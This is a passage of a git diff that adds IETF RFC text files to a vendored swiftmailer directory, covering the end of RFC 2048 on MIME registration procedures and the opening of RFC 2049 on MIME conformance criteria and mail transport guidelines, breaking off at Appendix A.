Registered Media Type List + + Media type registrations will be posted in the anonymous FTP + directory "ftp://ftp.isi.edu/in-notes/iana/assignments/media-types/" + and all registered media types will be listed in the periodically + issued "Assigned Numbers" RFC [currently STD 2, RFC 1700]. The media + type description and other supporting material may also be published + as an Informational RFC by sending it to "rfc-editor@isi.edu" (please + follow the instructions to RFC authors [RFC-1543]). + +2.6. IANA Procedures for Registering Media Types + + The IANA will only register media types in the IETF tree in response + to a communication from the IESG stating that a given registration + has been approved. Vendor and personal types will be registered by + the IANA automatically and without any formal review as long as the + following minimal conditions are met: + + (1) Media types must function as an actual media format. + In particular, character sets and transfer encodings + may not be registered as media types. + + (2) All media types must have properly formed type and + subtype names. All type names must be defined by a + standards-track RFC. All subtype names must be unique, + must conform to the MIME grammar for such names, and + must contain the proper tree prefix. + + + +Freed, et. al. Best Current Practice [Page 12] + +RFC 2048 MIME Registration Procedures November 1996 + + + (3) Types registered in the personal tree must either + provide a format specification or a pointer to one. + + (4) Any security considerations given must not be obviously + bogus. (It is neither possible nor necessary for the + IANA to conduct a comprehensive security review of + media type registrations. Nevertheless, IANA has the + authority to identify obviously incompetent material + and exclude it.) + +2.7. Change Control + + Once a media type has been published by IANA, the author may request + a change to its definition. The descriptions of the different + registration trees above designate the "owners" of each type of + registration. The change request follows the same procedure as the + registration request: + + (1) Publish the revised template on the ietf-types list. + + (2) Leave at least two weeks for comments. + + (3) Publish using IANA after formal review if required. + + Changes should be requested only when there are serious omission or + errors in the published specification. When review is required, a + change request may be denied if it renders entities that were valid + under the previous definition invalid under the new definition. + + The owner of a content type may pass responsibility for the content + type to another person or agency by informing IANA and the ietf-types + list; this can be done without discussion or review. + + The IESG may reassign responsibility for a media type. The most + common case of this will be to enable changes to be made to types + where the author of the registration has died, moved out of contact + or is otherwise unable to make changes that are important to the + community. + + Media type registrations may not be deleted; media types which are no + longer believed appropriate for use can be declared OBSOLETE by a + change to their "intended use" field; such media types will be + clearly marked in the lists published by IANA. + + + + + + + + +Freed, et. al. Best Current Practice [Page 13] + +RFC 2048 MIME Registration Procedures November 1996 + + +2.8. Registration Template + + To: ietf-types@iana.org + Subject: Registration of MIME media type XXX/YYY + + MIME media type name: + + MIME subtype name: + + Required parameters: + + Optional parameters: + + Encoding considerations: + + Security considerations: + + Interoperability considerations: + + Published specification: + + Applications which use this media type: + + Additional information: + + Magic number(s): + File extension(s): + Macintosh File Type Code(s): + + Person & email address to contact for further information: + + Intended usage: + + (One of COMMON, LIMITED USE or OBSOLETE) + + Author/Change controller: + + (Any other information that the author deems interesting may be + added below this line.) + +3. External Body Access Types + + RFC 2046 defines the message/external-body media type, whereby a MIME + entity can act as pointer to the actual body data in lieu of + including the data directly in the entity body. Each + message/external-body reference specifies an access type, which + determines the mechanism used to retrieve the actual body data. RFC + 2046 defines an initial set of access types, but allows for the + + + +Freed, et. al. Best Current Practice [Page 14] + +RFC 2048 MIME Registration Procedures November 1996 + + + registration of additional access types to accommodate new retrieval + mechanisms. + +3.1. Registration Requirements + + New access type specifications must conform to a number of + requirements as described below. + +3.1.1. Naming Requirements + + Each access type must have a unique name. This name appears in the + access-type parameter in the message/external-body content-type + header field, and must conform to MIME content type parameter syntax. + +3.1.2. Mechanism Specification Requirements + + All of the protocols, transports, and procedures used by a given + access type must be described, either in the specification of the + access type itself or in some other publicly available specification, + in sufficient detail for the access type to be implemented by any + competent implementor. Use of secret and/or proprietary methods in + access types are expressly prohibited. The restrictions imposed by + RFC 1602 on the standardization of patented algorithms must be + respected as well. + +3.1.3. Publication Requirements + + All access types must be described by an RFC. The RFC may be + informational rather than standards-track, although standard-track + review and approval are encouraged for all access types. + +3.1.4. Security Requirements + + Any known security issues that arise from the use of the access type + must be completely and fully described. It is not required that the + access type be secure or that it be free from risks, but that the + known risks be identified. Publication of a new access type does not + require an exhaustive security review, and the security + considerations section is subject to continuing evaluation. + Additional security considerations should be addressed by publishing + revised versions of the access type specification. + +3.2. Registration Procedure + + Registration of a new access type starts with the construction of a + draft of an RFC. + + + + + +Freed, et. al. Best Current Practice [Page 15] + +RFC 2048 MIME Registration Procedures November 1996 + + +3.2.1. Present the Access Type to the Community + + Send a proposed access type specification to the "ietf- + types@iana.org" mailing list for a two week review period. This + mailing list has been established for the purpose of reviewing + proposed access and media types. Proposed access types are not + formally registered and must not be used. + + The intent of the public posting is to solicit comments and feedback + on the access type specification and a review of any security + considerations. + +3.2.2. Access Type Reviewer + + When the two week period has passed, the access type reviewer, who is + appointed by the IETF Applications Area Director, either forwards the + request to iana@isi.edu, or rejects it because of significant + objections raised on the list. + + Decisions made by the reviewer must be posted to the ietf-types + mailing list within 14 days. Decisions made by the reviewer may be + appealed to the IESG. + +3.2.3. IANA Registration + + Provided that the access type has either passed review or has been + successfully appealed to the IESG, the IANA will register the access + type and make the registration available to the community. The + specification of the access type must also be published as an RFC. + Informational RFCs are published by sending them to "rfc- + editor@isi.edu" (please follow the instructions to RFC authors [RFC- + 1543]). + +3.3. Location of Registered Access Type List + + Access type registrations will be posted in the anonymous FTP + directory "ftp://ftp.isi.edu/in-notes/iana/assignments/access-types/" + and all registered access types will be listed in the periodically + issued "Assigned Numbers" RFC [currently RFC-1700]. + +3.4. IANA Procedures for Registering Access Types + + The identity of the access type reviewer is communicated to the IANA + by the IESG. The IANA then only acts in response to access type + definitions that either are approved by the access type reviewer and + forwarded by the reviewer to the IANA for registration, or in + response to a communication from the IESG that an access type + definition appeal has overturned the access type reviewer's ruling. + + + +Freed, et. al. Best Current Practice [Page 16] + +RFC 2048 MIME Registration Procedures November 1996 + + +4. Transfer Encodings + + Transfer encodings are tranformations applied to MIME media types + after conversion to the media type's canonical form. Transfer + encodings are used for several purposes: + + (1) Many transports, especially message transports, can + only handle data consisting of relatively short lines + of text. There can also be severe restrictions on what + characters can be used in these lines of text -- some + transports are restricted to a small subset of US-ASCII + and others cannot handle certain character sequences. + Transfer encodings are used to transform binary data + into textual form that can survive such transports. + Examples of this sort of transfer encoding include the + base64 and quoted-printable transfer encodings defined + in RFC 2045. + + (2) Image, audio, video, and even application entities are + sometimes quite large. Compression algorithms are often + quite effective in reducing the size of large entities. + Transfer encodings can be used to apply general-purpose + non-lossy compression algorithms to MIME entities. + + (3) Transport encodings can be defined as a means of + representing existing encoding formats in a MIME + context. + + IMPORTANT: The standardization of a large numbers of different + transfer encodings is seen as a significant barrier to widespread + interoperability and is expressely discouraged. Nevertheless, the + following procedure has been defined to provide a means of defining + additional transfer encodings, should standardization actually be + justified. + +4.1. Transfer Encoding Requirements + + Transfer encoding specifications must conform to a number of + requirements as described below. + +4.1.1. Naming Requirements + + Each transfer encoding must have a unique name. This name appears in + the Content-Transfer-Encoding header field and must conform to the + syntax of that field. + + + + + + +Freed, et. al. Best Current Practice [Page 17] + +RFC 2048 MIME Registration Procedures November 1996 + + +4.1.2. Algorithm Specification Requirements + + All of the algorithms used in a transfer encoding (e.g. conversion + to printable form, compression) must be described in their entirety + in the transfer encoding specification. Use of secret and/or + proprietary algorithms in standardized transfer encodings are + expressly prohibited. The restrictions imposed by RFC 1602 on the + standardization of patented algorithms must be respected as well. + +4.1.3. Input Domain Requirements + + All transfer encodings must be applicable to an arbitrary sequence of + octets of any length. Dependence on particular input forms is not + allowed. + + It should be noted that the 7bit and 8bit encodings do not conform to + this requirement. Aside from the undesireability of having + specialized encodings, the intent here is to forbid the addition of + additional encodings along the lines of 7bit and 8bit. + +4.1.4. Output Range Requirements + + There is no requirement that a particular tranfer encoding produce a + particular form of encoded output. However, the output format for + each transfer encoding must be fully and completely documented. In + particular, each specification must clearly state whether the output + format always lies within the confines of 7bit data, 8bit data, or is + simply pure binary data. + +4.1.5. Data Integrity and Generality Requirements + + All transfer encodings must be fully invertible on any platform; it + must be possible for anyone to recover the original data by + performing the corresponding decoding operation. Note that this + requirement effectively excludes all forms of lossy compression as + well as all forms of encryption from use as a transfer encoding. + +4.1.6. New Functionality Requirements + + All transfer encodings must provide some sort of new functionality. + Some degree of functionality overlap with previously defined transfer + encodings is acceptable, but any new transfer encoding must also + offer something no other transfer encoding provides. + + + + + + + + +Freed, et. al. Best Current Practice [Page 18] + +RFC 2048 MIME Registration Procedures November 1996 + + +4.2. Transfer Encoding Definition Procedure + + Definition of a new transfer encoding starts with the construction of + a draft of a standards-track RFC. The RFC must define the transfer + encoding precisely and completely, and must also provide substantial + justification for defining and standardizing a new transfer encoding. + This specification must then be presented to the IESG for + consideration. The IESG can + + (1) reject the specification outright as being + inappropriate for standardization, + + (2) approve the formation of an IETF working group to work + on the specification in accordance with IETF + procedures, or, + + (3) accept the specification as-is and put it directly on + the standards track. + + Transfer encoding specifications on the standards track follow normal + IETF rules for standards track documents. A transfer encoding is + considered to be defined and available for use once it is on the + standards track. + +4.3. IANA Procedures for Transfer Encoding Registration + + There is no need for a special procedure for registering Transfer + Encodings with the IANA. All legitimate transfer encoding + registrations must appear as a standards-track RFC, so it is the + IESG's responsibility to notify the IANA when a new transfer encoding + has been approved. + +4.4. Location of Registered Transfer Encodings List + + Transfer encoding registrations will be posted in the anonymous FTP + directory "ftp://ftp.isi.edu/in-notes/iana/assignments/transfer- + encodings/" and all registered transfer encodings will be listed in + the periodically issued "Assigned Numbers" RFC [currently RFC-1700]. + + + + + + + + + + + + + +Freed, et. al. Best Current Practice [Page 19] + +RFC 2048 MIME Registration Procedures November 1996 + + +5. Authors' Addresses + + For more information, the authors of this document are best + contacted via Internet mail: + + Ned Freed + Innosoft International, Inc. + 1050 East Garvey Avenue South + West Covina, CA 91790 + USA + + Phone: +1 818 919 3600 + Fax: +1 818 919 3614 + EMail: ned@innosoft.com + + + John Klensin + MCI + 2100 Reston Parkway + Reston, VA 22091 + + Phone: +1 703 715-7361 + Fax: +1 703 715-7436 + EMail: klensin@mci.net + + + Jon Postel + USC/Information Sciences Institute + 4676 Admiralty Way + Marina del Rey, CA 90292 + USA + + + Phone: +1 310 822 1511 + Fax: +1 310 823 6714 + EMail: Postel@ISI.EDU + + + + + + + + + + + + + + + +Freed, et. al. Best Current Practice [Page 20] + +RFC 2048 MIME Registration Procedures November 1996 + + +Appendix A -- Grandfathered Media Types + + A number of media types, registered prior to 1996, would, if + registered under the guidelines in this document, be placed into + either the vendor or personal trees. Reregistration of those types + to reflect the appropriate trees is encouraged, but not required. + Ownership and change control principles outlined in this document + apply to those types as if they had been registered in the trees + described above. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Freed, et. al. Best Current Practice [Page 21] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2049.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2049.txt new file mode 100644 index 00000000..99f174b9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2049.txt @@ -0,0 +1,1347 @@ + + + + + + +Network Working Group N. Freed +Request for Comments: 2049 Innosoft +Obsoletes: 1521, 1522, 1590 N. Borenstein +Category: Standards Track First Virtual + November 1996 + + + Multipurpose Internet Mail Extensions + (MIME) Part Five: + Conformance Criteria and Examples + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + STD 11, RFC 822, defines a message representation protocol specifying + considerable detail about US-ASCII message headers, and leaves the + message content, or message body, as flat US-ASCII text. This set of + documents, collectively called the Multipurpose Internet Mail + Extensions, or MIME, redefines the format of messages to allow for + + (1) textual message bodies in character sets other than + US-ASCII, + + (2) an extensible set of different formats for non-textual + message bodies, + + (3) multi-part message bodies, and + + (4) textual header information in character sets other than + US-ASCII. + + These documents are based on earlier work documented in RFC 934, STD + 11, and RFC 1049, but extends and revises them. Because RFC 822 said + so little about message bodies, these documents are largely + orthogonal to (rather than a revision of) RFC 822. + + The initial document in this set, RFC 2045, specifies the various + headers used to describe the structure of MIME messages. The second + document defines the general structure of the MIME media typing + system and defines an initial set of media types. The third + document, RFC 2047, describes extensions to RFC 822 to allow non-US- + + + +Freed & Borenstein Standards Track [Page 1] + +RFC 2049 MIME Conformance November 1996 + + + ASCII text data in Internet mail header fields. The fourth document, + RFC 2048, specifies various IANA registration procedures for MIME- + related facilities. This fifth and final document describes MIME + conformance criteria as well as providing some illustrative examples + of MIME message formats, acknowledgements, and the bibliography. + + These documents are revisions of RFCs 1521, 1522, and 1590, which + themselves were revisions of RFCs 1341 and 1342. Appendix B of this + document describes differences and changes from previous versions. + +Table of Contents + + 1. Introduction .......................................... 2 + 2. MIME Conformance ...................................... 2 + 3. Guidelines for Sending Email Data ..................... 6 + 4. Canonical Encoding Model .............................. 9 + 5. Summary ............................................... 12 + 6. Security Considerations ............................... 12 + 7. Authors' Addresses .................................... 12 + 8. Acknowledgements ...................................... 13 + A. A Complex Multipart Example ........................... 15 + B. Changes from RFC 1521, 1522, and 1590 ................. 16 + C. References ............................................ 20 + +1. Introduction + + The first and second documents in this set define MIME header fields + and the initial set of MIME media types. The third document + describes extensions to RFC822 formats to allow for character sets + other than US-ASCII. This document describes what portions of MIME + must be supported by a conformant MIME implementation. It also + describes various pitfalls of contemporary messaging systems as well + as the canonical encoding model MIME is based on. + +2. MIME Conformance + + The mechanisms described in these documents are open-ended. It is + definitely not expected that all implementations will support all + available media types, nor that they will all share the same + extensions. In order to promote interoperability, however, it is + useful to define the concept of "MIME-conformance" to define a + certain level of implementation that allows the useful interworking + of messages with content that differs from US-ASCII text. In this + section, we specify the requirements for such conformance. + + + + + + + +Freed & Borenstein Standards Track [Page 2] + +RFC 2049 MIME Conformance November 1996 + + + A mail user agent that is MIME-conformant MUST: + + (1) Always generate a "MIME-Version: 1.0" header field in + any message it creates. + + (2) Recognize the Content-Transfer-Encoding header field + and decode all received data encoded by either quoted- + printable or base64 implementations. The identity + transformations 7bit, 8bit, and binary must also be + recognized. + + Any non-7bit data that is sent without encoding must be + properly labelled with a content-transfer-encoding of + 8bit or binary, as appropriate. If the underlying + transport does not support 8bit or binary (as SMTP + [RFC-821] does not), the sender is required to both + encode and label data using an appropriate Content- + Transfer-Encoding such as quoted-printable or base64. + + (3) Must treat any unrecognized Content-Transfer-Encoding + as if it had a Content-Type of "application/octet- + stream", regardless of whether or not the actual + Content-Type is recognized. + + (4) Recognize and interpret the Content-Type header field, + and avoid showing users raw data with a Content-Type + field other than text. Implementations must be able + to send at least text/plain messages, with the + character set specified with the charset parameter if + it is not US-ASCII. + + (5) Ignore any content type parameters whose names they do + not recognize. + + (6) Explicitly handle the following media type values, to + at least the following extents: + + Text: + + -- Recognize and display "text" mail with the + character set "US-ASCII." + + -- Recognize other character sets at least to the + extent of being able to inform the user about what + character set the message uses. + + + + + + +Freed & Borenstein Standards Track [Page 3] + +RFC 2049 MIME Conformance November 1996 + + + -- Recognize the "ISO-8859-*" character sets to the + extent of being able to display those characters that + are common to ISO-8859-* and US-ASCII, namely all + characters represented by octet values 1-127. + + -- For unrecognized subtypes in a known character + set, show or offer to show the user the "raw" version + of the data after conversion of the content from + canonical form to local form. + + -- Treat material in an unknown character set as if + it were "application/octet-stream". + + Image, audio, and video: + + -- At a minumum provide facilities to treat any + unrecognized subtypes as if they were + "application/octet-stream". + + Application: + + -- Offer the ability to remove either of the quoted- + printable or base64 encodings defined in this + document if they were used and put the resulting + information in a user file. + + Multipart: + + -- Recognize the mixed subtype. Display all relevant + information on the message level and the body part + header level and then display or offer to display + each of the body parts individually. + + -- Recognize the "alternative" subtype, and avoid + showing the user redundant parts of + multipart/alternative mail. + + -- Recognize the "multipart/digest" subtype, + specifically using "message/rfc822" rather than + "text/plain" as the default media type for body parts + inside "multipart/digest" entities. + + -- Treat any unrecognized subtypes as if they were + "mixed". + + + + + + + +Freed & Borenstein Standards Track [Page 4] + +RFC 2049 MIME Conformance November 1996 + + + Message: + + -- Recognize and display at least the RFC822 message + encapsulation (message/rfc822) in such a way as to + preserve any recursive structure, that is, displaying + or offering to display the encapsulated data in + accordance with its media type. + + -- Treat any unrecognized subtypes as if they were + "application/octet-stream". + + (7) Upon encountering any unrecognized Content-Type field, + an implementation must treat it as if it had a media + type of "application/octet-stream" with no parameter + sub-arguments. How such data are handled is up to an + implementation, but likely options for handling such + unrecognized data include offering the user to write it + into a file (decoded from its mail transport format) or + offering the user to name a program to which the + decoded data should be passed as input. + + (8) Conformant user agents are required, if they provide + non-standard support for non-MIME messages employing + character sets other than US-ASCII, to do so on + received messages only. Conforming user agents must not + send non-MIME messages containing anything other than + US-ASCII text. + + In particular, the use of non-US-ASCII text in mail + messages without a MIME-Version field is strongly + discouraged as it impedes interoperability when sending + messages between regions with different localization + conventions. Conforming user agents MUST include proper + MIME labelling when sending anything other than plain + text in the US-ASCII character set. + + In addition, non-MIME user agents should be upgraded if + at all possible to include appropriate MIME header + information in the messages they send even if nothing + else in MIME is supported. This upgrade will have + little, if any, effect on non-MIME recipients and will + aid MIME in correctly displaying such messages. It + also provides a smooth transition path to eventual + adoption of other MIME capabilities. + + (9) Conforming user agents must ensure that any string of + non-white-space printable US-ASCII characters within a + "*text" or "*ctext" that begins with "=?" and ends with + + + +Freed & Borenstein Standards Track [Page 5] + +RFC 2049 MIME Conformance November 1996 + + + "?=" be a valid encoded-word. ("begins" means: At the + start of the field-body or immediately following + linear-white-space; "ends" means: At the end of the + field-body or immediately preceding linear-white- + space.) In addition, any "word" within a "phrase" that + begins with "=?" and ends with "?=" must be a valid + encoded-word. + + (10) Conforming user agents must be able to distinguish + encoded-words from "text", "ctext", or "word"s, + according to the rules in section 4, anytime they + appear in appropriate places in message headers. It + must support both the "B" and "Q" encodings for any + character set which it supports. The program must be + able to display the unencoded text if the character set + is "US-ASCII". For the ISO-8859-* character sets, the + mail reading program must at least be able to display + the characters which are also in the US-ASCII set. + + A user agent that meets the above conditions is said to be MIME- + conformant. The meaning of this phrase is that it is assumed to be + "safe" to send virtually any kind of properly-marked data to users of + such mail systems, because such systems will at least be able to + treat the data as undifferentiated binary, and will not simply splash + it onto the screen of unsuspecting users. + + There is another sense in which it is always "safe" to send data in a + format that is MIME-conformant, which is that such data will not + break or be broken by any known systems that are conformant with RFC + 821 and RFC 822. User agents that are MIME-conformant have the + additional guarantee that the user will not be shown data that were + never intended to be viewed as text. + +3. Guidelines for Sending Email Data + + Internet email is not a perfect, homogeneous system. Mail may become + corrupted at several stages in its travel to a final destination. + Specifically, email sent throughout the Internet may travel across + many networking technologies. Many networking and mail technologies + do not support the full functionality possible in the SMTP transport + environment. Mail traversing these systems is likely to be modified + in order that it can be transported. + + There exist many widely-deployed non-conformant MTAs in the Internet. + These MTAs, speaking the SMTP protocol, alter messages on the fly to + take advantage of the internal data structure of the hosts they are + implemented on, or are just plain broken. + + + + +Freed & Borenstein Standards Track [Page 6] + +RFC 2049 MIME Conformance November 1996 + + + The following guidelines may be useful to anyone devising a data + format (media type) that is supposed to survive the widest range of + networking technologies and known broken MTAs unscathed. Note that + anything encoded in the base64 encoding will satisfy these rules, but + that some well-known mechanisms, notably the UNIX uuencode facility, + will not. Note also that anything encoded in the Quoted-Printable + encoding will survive most gateways intact, but possibly not some + gateways to systems that use the EBCDIC character set. + + (1) Under some circumstances the encoding used for data may + change as part of normal gateway or user agent + operation. In particular, conversion from base64 to + quoted-printable and vice versa may be necessary. This + may result in the confusion of CRLF sequences with line + breaks in text bodies. As such, the persistence of + CRLF as something other than a line break must not be + relied on. + + (2) Many systems may elect to represent and store text data + using local newline conventions. Local newline + conventions may not match the RFC822 CRLF convention -- + systems are known that use plain CR, plain LF, CRLF, or + counted records. The result is that isolated CR and LF + characters are not well tolerated in general; they may + be lost or converted to delimiters on some systems, and + hence must not be relied on. + + (3) The transmission of NULs (US-ASCII value 0) is + problematic in Internet mail. (This is largely the + result of NULs being used as a termination character by + many of the standard runtime library routines in the C + programming language.) The practice of using NULs as + termination characters is so entrenched now that + messages should not rely on them being preserved. + + (4) TAB (HT) characters may be misinterpreted or may be + automatically converted to variable numbers of spaces. + This is unavoidable in some environments, notably those + not based on the US-ASCII character set. Such + conversion is STRONGLY DISCOURAGED, but it may occur, + and mail formats must not rely on the persistence of + TAB (HT) characters. + + (5) Lines longer than 76 characters may be wrapped or + truncated in some environments. Line wrapping or line + truncation imposed by mail transports is STRONGLY + DISCOURAGED, but unavoidable in some cases. + Applications which require long lines must somehow + + + +Freed & Borenstein Standards Track [Page 7] + +RFC 2049 MIME Conformance November 1996 + + + differentiate between soft and hard line breaks. (A + simple way to do this is to use the quoted-printable + encoding.) + + (6) Trailing "white space" characters (SPACE, TAB (HT)) on + a line may be discarded by some transport agents, while + other transport agents may pad lines with these + characters so that all lines in a mail file are of + equal length. The persistence of trailing white space, + therefore, must not be relied on. + + (7) Many mail domains use variations on the US-ASCII + character set, or use character sets such as EBCDIC + which contain most but not all of the US-ASCII + characters. The correct translation of characters not + in the "invariant" set cannot be depended on across + character converting gateways. For example, this + situation is a problem when sending uuencoded + information across BITNET, an EBCDIC system. Similar + problems can occur without crossing a gateway, since + many Internet hosts use character sets other than US- + ASCII internally. The definition of Printable Strings + in X.400 adds further restrictions in certain special + cases. In particular, the only characters that are + known to be consistent across all gateways are the 73 + characters that correspond to the upper and lower case + letters A-Z and a-z, the 10 digits 0-9, and the + following eleven special characters: + + "'" (US-ASCII decimal value 39) + "(" (US-ASCII decimal value 40) + ")" (US-ASCII decimal value 41) + "+" (US-ASCII decimal value 43) + "," (US-ASCII decimal value 44) + "-" (US-ASCII decimal value 45) + "." (US-ASCII decimal value 46) + "/" (US-ASCII decimal value 47) + ":" (US-ASCII decimal value 58) + "=" (US-ASCII decimal value 61) + "?" (US-ASCII decimal value 63) + + A maximally portable mail representation will confine + itself to relatively short lines of text in which the + only meaningful characters are taken from this set of + 73 characters. The base64 encoding follows this rule. + + (8) Some mail transport agents will corrupt data that + includes certain literal strings. In particular, a + + + +Freed & Borenstein Standards Track [Page 8] + +RFC 2049 MIME Conformance November 1996 + + + period (".") alone on a line is known to be corrupted + by some (incorrect) SMTP implementations, and a line + that starts with the five characters "From " (the fifth + character is a SPACE) are commonly corrupted as well. + A careful composition agent can prevent these + corruptions by encoding the data (e.g., in the quoted- + printable encoding using "=46rom " in place of "From " + at the start of a line, and "=2E" in place of "." alone + on a line). + + Please note that the above list is NOT a list of recommended + practices for MTAs. RFC 821 MTAs are prohibited from altering the + character of white space or wrapping long lines. These BAD and + invalid practices are known to occur on established networks, and + implementations should be robust in dealing with the bad effects they + can cause. + +4. Canonical Encoding Model + + There was some confusion, in earlier versions of these documents, + regarding the model for when email data was to be converted to + canonical form and encoded, and in particular how this process would + affect the treatment of CRLFs, given that the representation of + newlines varies greatly from system to system. For this reason, a + canonical model for encoding is presented below. + + The process of composing a MIME entity can be modeled as being done + in a number of steps. Note that these steps are roughly similar to + those steps used in PEM [RFC-1421] and are performed for each + "innermost level" body: + + (1) Creation of local form. + + The body to be transmitted is created in the system's + native format. The native character set is used and, + where appropriate, local end of line conventions are + used as well. The body may be a UNIX-style text file, + or a Sun raster image, or a VMS indexed file, or audio + data in a system-dependent format stored only in + memory, or anything else that corresponds to the local + model for the representation of some form of + information. Fundamentally, the data is created in the + "native" form that corresponds to the type specified by + the media type. + + + + + + + +Freed & Borenstein Standards Track [Page 9] + +RFC 2049 MIME Conformance November 1996 + + + (2) Conversion to canonical form. + + The entire body, including "out-of-band" information + such as record lengths and possibly file attribute + information, is converted to a universal canonical + form. The specific media type of the body as well as + its associated attributes dictate the nature of the + canonical form that is used. Conversion to the proper + canonical form may involve character set conversion, + transformation of audio data, compression, or various + other operations specific to the various media types. + If character set conversion is involved, however, care + must be taken to understand the semantics of the media + type, which may have strong implications for any + character set conversion, e.g. with regard to + syntactically meaningful characters in a text subtype + other than "plain". + + For example, in the case of text/plain data, the text + must be converted to a supported character set and + lines must be delimited with CRLF delimiters in + accordance with RFC 822. Note that the restriction on + line lengths implied by RFC 822 is eliminated if the + next step employs either quoted-printable or base64 + encoding. + + (3) Apply transfer encoding. + + A Content-Transfer-Encoding appropriate for this body + is applied. Note that there is no fixed relationship + between the media type and the transfer encoding. In + particular, it may be appropriate to base the choice of + base64 or quoted-printable on character frequency + counts which are specific to a given instance of a + body. + + (4) Insertion into entity. + + The encoded body is inserted into a MIME entity with + appropriate headers. The entity is then inserted into + the body of a higher-level entity (message or + multipart) as needed. + + Conversion from entity form to local form is accomplished by + reversing these steps. Note that reversal of these steps may produce + differing results since there is no guarantee that the original and + final local forms are the same. + + + + +Freed & Borenstein Standards Track [Page 10] + +RFC 2049 MIME Conformance November 1996 + + + It is vital to note that these steps are only a model; they are + specifically NOT a blueprint for how an actual system would be built. + In particular, the model fails to account for two common designs: + + (1) In many cases the conversion to a canonical form prior + to encoding will be subsumed into the encoder itself, + which understands local formats directly. For example, + the local newline convention for text bodies might be + carried through to the encoder itself along with + knowledge of what that format is. + + (2) The output of the encoders may have to pass through one + or more additional steps prior to being transmitted as + a message. As such, the output of the encoder may not + be conformant with the formats specified by RFC 822. + In particular, once again it may be appropriate for the + converter's output to be expressed using local newline + conventions rather than using the standard RFC 822 CRLF + delimiters. + + Other implementation variations are conceivable as well. The vital + aspect of this discussion is that, in spite of any optimizations, + collapsings of required steps, or insertion of additional processing, + the resulting messages must be consistent with those produced by the + model described here. For example, a message with the following + header fields: + + Content-type: text/foo; charset=bar + Content-Transfer-Encoding: base64 + + must be first represented in the text/foo form, then (if necessary) + represented in the "bar" character set, and finally transformed via + the base64 algorithm into a mail-safe form. + + NOTE: Some confusion has been caused by systems that represent + messages in a format which uses local newline conventions which + differ from the RFC822 CRLF convention. It is important to note that + these formats are not canonical RFC822/MIME. These formats are + instead *encodings* of RFC822, where CRLF sequences in the canonical + representation of the message are encoded as the local newline + convention. Note that formats which encode CRLF sequences as, for + example, LF are not capable of representing MIME messages containing + binary data which contains LF octets not part of CRLF line separation + sequences. + + + + + + + +Freed & Borenstein Standards Track [Page 11] + +RFC 2049 MIME Conformance November 1996 + + +5. Summary + + This document defines what is meant by MIME Conformance. It also + details various problems known to exist in the Internet email system + and how to use MIME to overcome them. Finally, it describes MIME's + canonical encoding model. + +6. Security Considerations + + Security issues are discussed in the second document in this set, RFC + 2046. + +7. Authors' Addresses + + For more information, the authors of this document are best contacted + via Internet mail: + + Ned Freed + Innosoft International, Inc. + 1050 East Garvey Avenue South + West Covina, CA 91790 + USA + + Phone: +1 818 919 3600 + Fax: +1 818 919 3614 + EMail: ned@innosoft.com + + Nathaniel S. Borenstein + First Virtual Holdings + 25 Washington Avenue + Morristown, NJ 07960 + USA + + Phone: +1 201 540 8967 + Fax: +1 201 993 3032 + EMail: nsb@nsb.fv.com + + MIME is a result of the work of the Internet Engineering Task Force + Working Group on RFC 822 Extensions. The chairman of that group, + Greg Vaudreuil, may be reached at: + + Gregory M. Vaudreuil + Octel Network Services + 17080 Dallas Parkway + Dallas, TX 75248-1905 + USA + + EMail: Greg.Vaudreuil@Octel.Com + + + +Freed & Borenstein Standards Track [Page 12] + +RFC 2049 MIME Conformance November 1996 + + +8. Acknowledgements + + This document is the result of the collective effort of a large + number of people, at several IETF meetings, on the IETF-SMTP and + IETF-822 mailing lists, and elsewhere. Although any enumeration + seems doomed to suffer from egregious omissions, the following are + among the many contributors to this effort: + + Harald Tveit Alvestrand Marc Andreessen + Randall Atkinson Bob Braden + Philippe Brandon Brian Capouch + Kevin Carosso Uhhyung Choi + Peter Clitherow Dave Collier-Brown + Cristian Constantinof John Coonrod + Mark Crispin Dave Crocker + Stephen Crocker Terry Crowley + Walt Daniels Jim Davis + Frank Dawson Axel Deininger + Hitoshi Doi Kevin Donnelly + Steve Dorner Keith Edwards + Chris Eich Dana S. Emery + Johnny Eriksson Craig Everhart + Patrik Faltstrom Erik E. Fair + Roger Fajman Alain Fontaine + Martin Forssen James M. Galvin + Stephen Gildea Philip Gladstone + Thomas Gordon Keld Simonsen + Terry Gray Phill Gross + James Hamilton David Herron + Mark Horton Bruce Howard + Bill Janssen Olle Jarnefors + Risto Kankkunen Phil Karn + Alan Katz Tim Kehres + Neil Katin Steve Kille + Kyuho Kim Anders Klemets + John Klensin Valdis Kletniek + Jim Knowles Stev Knowles + Bob Kummerfeld Pekka Kytolaakso + Stellan Lagerstrom Vincent Lau + Timo Lehtinen Donald Lindsay + Warner Losh Carlyn Lowery + Laurence Lundblade Charles Lynn + John R. MacMillan Larry Masinter + Rick McGowan Michael J. McInerny + Leo Mclaughlin Goli Montaser-Kohsari + Tom Moore John Gardiner Myers + Erik Naggum Mark Needleman + Chris Newman John Noerenberg + + + +Freed & Borenstein Standards Track [Page 13] + +RFC 2049 MIME Conformance November 1996 + + + Mats Ohrman Julian Onions + Michael Patton David J. Pepper + Erik van der Poel Blake C. Ramsdell + Christer Romson Luc Rooijakkers + Marshall T. Rose Jonathan Rosenberg + Guido van Rossum Jan Rynning + Harri Salminen Michael Sanderson + Yutaka Sato Markku Savela + Richard Alan Schafer Masahiro Sekiguchi + Mark Sherman Bob Smart + Peter Speck Henry Spencer + Einar Stefferud Michael Stein + Klaus Steinberger Peter Svanberg + James Thompson Steve Uhler + Stuart Vance Peter Vanderbilt + Greg Vaudreuil Ed Vielmetti + Larry W. Virden Ryan Waldron + Rhys Weatherly Jay Weber + Dave Wecker Wally Wedel + Sven-Ove Westberg Brian Wideen + John Wobus Glenn Wright + Rayan Zachariassen David Zimmerman + + The authors apologize for any omissions from this list, which are + certainly unintentional. + + + + + + + + + + + + + + + + + + + + + + + + + + +Freed & Borenstein Standards Track [Page 14] + +RFC 2049 MIME Conformance November 1996 + + +Appendix A -- A Complex Multipart Example + + What follows is the outline of a complex multipart message. This + message contains five 